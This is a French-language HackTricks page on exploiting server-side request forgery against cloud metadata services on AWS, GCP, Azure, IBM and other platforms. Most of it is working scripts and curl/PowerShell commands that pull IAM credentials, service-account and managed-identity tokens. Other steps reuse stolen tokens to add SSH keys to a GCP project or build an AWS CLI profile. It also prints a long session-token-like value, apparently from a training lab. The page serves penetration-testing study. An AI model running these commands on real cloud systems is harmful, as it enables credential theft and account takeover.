33 KiB

Cloud SSRF

{{#include ../../banners/hacktricks-training.md}}

AWS

Abuser de SSRF dans l'environnement AWS EC2

Le point de terminaison des métadonnées peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : http://169.254.169.254 (informations sur les métadonnées ici).

Il existe 2 versions du point de terminaison des métadonnées. La première permet d'accéder au point de terminaison via des requêtes GET (donc tout SSRF peut l'exploiter). Pour la version 2, IMDSv2, vous devez demander un jeton en envoyant une requête PUT avec un en-tête HTTP et ensuite utiliser ce jeton pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est plus compliqué à abuser avec un SSRF).

Caution

Notez que si l'instance EC2 applique IMDSv2, selon la documentation, la réponse de la requête PUT aura une limite de saut de 1, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2.

De plus, IMDSv2 bloquera également les requêtes pour obtenir un jeton qui incluent l'en-tête X-Forwarded-For. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.

Vous pouvez trouver des informations sur les points de terminaison des métadonnées dans la documentation. Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

En tant qu'exemple de credentials IAM disponibles publiquement exposés, vous pouvez visiter : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Vous pouvez également vérifier les credentials de sécurité EC2 publics à : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Vous pouvez ensuite prendre ces credentials et les utiliser avec l'AWS CLI. Cela vous permettra de faire tout ce que ce rôle a la permission de faire.

Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Remarquez le aws_session_token, cela est indispensable pour que le profil fonctionne.

PACU peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer d'escalader les privilèges.

SSRF dans les identifiants AWS ECS (Service de Conteneurs)

ECS est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans ECS, les points de terminaison de métadonnées changent.

Si vous accédez à http://169.254.170.2/v2/credentials/<GUID>, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez trouver le <GUID>. Pour trouver le <GUID>, vous devez lire la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI à l'intérieur de la machine.
Vous pourriez être en mesure de le lire en exploitant un Path Traversal vers file:///proc/self/environ
L'adresse http mentionnée devrait vous donner la AccessKey, SecretKey et token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Notez que dans certains cas, vous pourrez accéder aux métadonnées de l'instance EC2 depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.

SSRF pour AWS Lambda

Dans ce cas, les identifiants sont stockés dans des variables d'environnement. Donc, pour y accéder, vous devez accéder à quelque chose comme file:///proc/self/environ.

Le nom des variables d'environnement intéressantes est :

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

De plus, en plus des identifiants IAM, les fonctions Lambda ont également des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée. Ces données sont mises à disposition de la fonction via l'interface d'exécution et pourraient contenir des informations sensibles (comme à l'intérieur des stageVariables). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à http://localhost:9001/2018-06-01/runtime/invocation/next.

Warning

Notez que les identifiants lambda se trouvent à l'intérieur des variables d'environnement. Donc, si la trace de la pile du code lambda imprime des variables d'environnement, il est possible de les exfiltrer en provoquant une erreur dans l'application.

SSRF URL pour AWS Elastic Beanstalk

Nous récupérons le accountId et la region depuis l'API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Nous récupérons ensuite le AccessKeyId, le SecretAccessKey et le Token depuis l'API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Ensuite, nous utilisons les identifiants avec aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Vous pouvez trouver ici la documentation sur les points de terminaison de métadonnées.

URL SSRF pour Google Cloud

Nécessite l'en-tête HTTP Metadata-Flavor: Google et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes :

Points de terminaison intéressants pour extraire des informations :

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta ne nécessite PAS d'en-tête pour le moment (merci Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Afin de utiliser le jeton de compte de service exfiltré, vous pouvez simplement faire :

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Ajouter une clé SSH

Extraire le jeton

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Maintenant, poussez la clé SSH.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

L'endpoint de métadonnées fonctionne de la même manière que dans les VMs mais sans certains endpoints :

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

Warning

Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot de métadonnées.

Documentation disponible à https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs ici.

  • Doit contenir l'en-tête Metadata: true
  • Ne doit pas contenir un en-tête X-Forwarded-For

Tip

Une VM Azure peut avoir 1 identité gérée par le système et plusieurs identités gérées par l'utilisateur. Ce qui signifie essentiellement que vous pouvez imiter toutes les identités gérées attachées à une VM.

Lors de la demande d'un jeton d'accès à l'endpoint de métadonnées, par défaut, le service de métadonnées utilisera l'identité gérée assignée par le système pour générer le jeton, s'il y a une identité gérée assignée par le système. Dans le cas où il n'y a qu'UNE identité gérée assignée par l'utilisateur, alors celle-ci sera utilisée par défaut. Cependant, s'il n'y a pas d'identité gérée assignée par le système et qu'il y a plusieurs identités gérées assignées par l'utilisateur, alors le service de métadonnées renverra une erreur indiquant qu'il y a plusieurs identités gérées et qu'il est nécessaire de spécifier laquelle utiliser.

Malheureusement, je n'ai pas pu trouver d'endpoint de métadonnées indiquant toutes les identités gérées qu'une VM a attachées, donc découvrir toutes les identités gérées assignées à une VM pourrait être une tâche difficile du point de vue d'une équipe rouge.

Par conséquent, pour trouver toutes les identités gérées attachées, vous pouvez faire :

  • Obtenir les identités attachées avec az cli (si vous avez déjà compromis un principal dans le locataire Azure)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • Obtenir les identités attachées en utilisant l'identité gérée par défaut dans les métadonnées :
export API_VERSION="2021-12-13"

# Obtenir le jeton de l'identité gérée par défaut
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Obtenir les détails nécessaires
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Essayer d'obtenir les identités gérées attachées
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Obtenir toutes les identités gérées définies dans le locataire et forcer pour voir si l'une d'elles est attachée à la VM :
az identity list

Caution

Dans les demandes de jeton, utilisez l'un des paramètres object_id, client_id ou msi_res_id pour indiquer l'identité gérée que vous souhaitez utiliser (docs). Si aucun, la MI par défaut sera utilisée.

{{#tabs}} {{#tab name="Bash"}}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{{#endtab}}

{{#tab name="PS"}}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token

## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token

## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token

## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token


# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

{{#endtab}} {{#endtabs}}

Warning

Notez que le point de terminaison http://169.254.169.254/metadata/v1/instanceinfo ne nécessite pas l'en-tête Metadata: True, ce qui est excellent pour montrer l'impact des vulnérabilités SSRF dans Azure où vous ne pouvez pas ajouter cet en-tête.

Azure App & Services de Fonctions & Comptes d'Automatisation

À partir de env, vous pouvez obtenir les valeurs de IDENTITY_HEADER et IDENTITY_ENDPOINT. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.

La plupart du temps, vous voulez un jeton pour l'une de ces ressources :

Caution

Dans les demandes de jeton, utilisez l'un des paramètres object_id, client_id ou msi_res_id pour indiquer l'identité gérée que vous souhaitez utiliser (docs). Si aucun, la MI par défaut sera utilisée.

{{#tabs}} {{#tab name="Bash"}}

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

{{#endtab}}

{{#tab name="PS"}}

# Define the API version
$API_VERSION = "2019-08-01"

# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}

# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"

# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"

# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"

# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"


# Using oneliners

## Get management token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get graph token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get vault token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get storage token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'

{{#endtab}} {{#endtabs}}

IBM Cloud

Warning

Notez qu'IBM n'active pas par défaut les métadonnées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une VM IBM cloud.

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Documentation pour les services de métadonnées de diverses plateformes est décrite ci-dessous, mettant en évidence les méthodes par lesquelles les informations de configuration et d'exécution pour les instances peuvent être accessibles. Chaque plateforme offre des points de terminaison uniques pour accéder à ses services de métadonnées.

Packetcloud

Pour accéder aux métadonnées de Packetcloud, la documentation peut être trouvée à : https://metadata.packet.net/userdata

OpenStack/RackSpace

La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être accessibles via :

  • http://169.254.169.254/openstack

HP Helion

La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à :

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud fournit une série de points de terminaison pour accéder à divers aspects des métadonnées :

  • http://192.0.0.192/latest/
  • http://192.0.0.192/latest/user-data/
  • http://192.0.0.192/latest/meta-data/
  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba offre des points de terminaison pour accéder aux métadonnées, y compris les ID d'instance et d'image :

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré par :

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Les métadonnées Docker peuvent être accessibles localement, avec des exemples donnés pour la récupération d'informations sur les conteneurs et les images :

  • Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • À l'intérieur du conteneur, utilisez curl avec le socket Docker :
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Les métadonnées de Rancher peuvent être accessibles en utilisant :

  • curl http://rancher-metadata/<version>/<path>

{{#include ../../banners/hacktricks-training.md}}